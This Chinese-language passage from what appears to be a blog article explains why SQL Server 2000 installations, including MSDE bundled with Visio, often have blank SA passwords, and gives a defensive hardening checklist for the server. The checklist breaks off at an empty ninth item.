  另一个产生空白口令的常见原因是产品。例如,某些版本的Visio安装微软的SQL服务器2000桌面引擎(MSDE)从来不修改SA口令。用户甚至都不知道他们在运行MSDE。你可以从eEye数字安全公司下载一个程序扫描你的网络查找拥有空白SA账户的SQL服务器。

  SQL服务器安全检查清单

  1.设置一个SA账户口令,并且限制这个账户的使用。你还要定期修改口令以防止口令扩散,并且被开发人员或者太多的管理员所使用。如果任何知道SA口令的人离开公司,你都需要修改SA口令。使用eEye的工具扫描你的网络查找没有SA口令的SQL服务器。

  2.将你的SQL服务器设置在防火墙后面,与你的IIS服务器或者网络服务器分开。仅允许这些指定的网络服务器连接SQL服务器。你的SQL服务器永远不要向互联网开放或者允许公开访问。

  3.从sysadmin角色中删除BUILTIN/Administrators ,然后将SQL管理权限赋予需要SQL管理功能的域账户。

  4.如果可能的话,使用Windows身份识别或者仅使用Windows模式。采用这种方式,潜在的黑客必须首先向这个域验证身份,而不是仅向SQL服务器验证身份。

  5.不要在域控制器上运行SQL服务器。

  6.把SQL服务器启动账户改为非本地帐户。

  7.启用失败登录选项(服务器属性/安全标签),这样你就可以查看失败的登录,看看是否有未经过允许的个人设法访问这个服务器。如果可能的话,监视SQL记录并且使用NETSEND或者电子邮件在SQL中设置报警。

  8.为操作系统和SQL保持最新的补丁更新和服务包。某些选项可以参考确保IIS安全的工具。

  9.

无觅相关文章插件,快速提升流量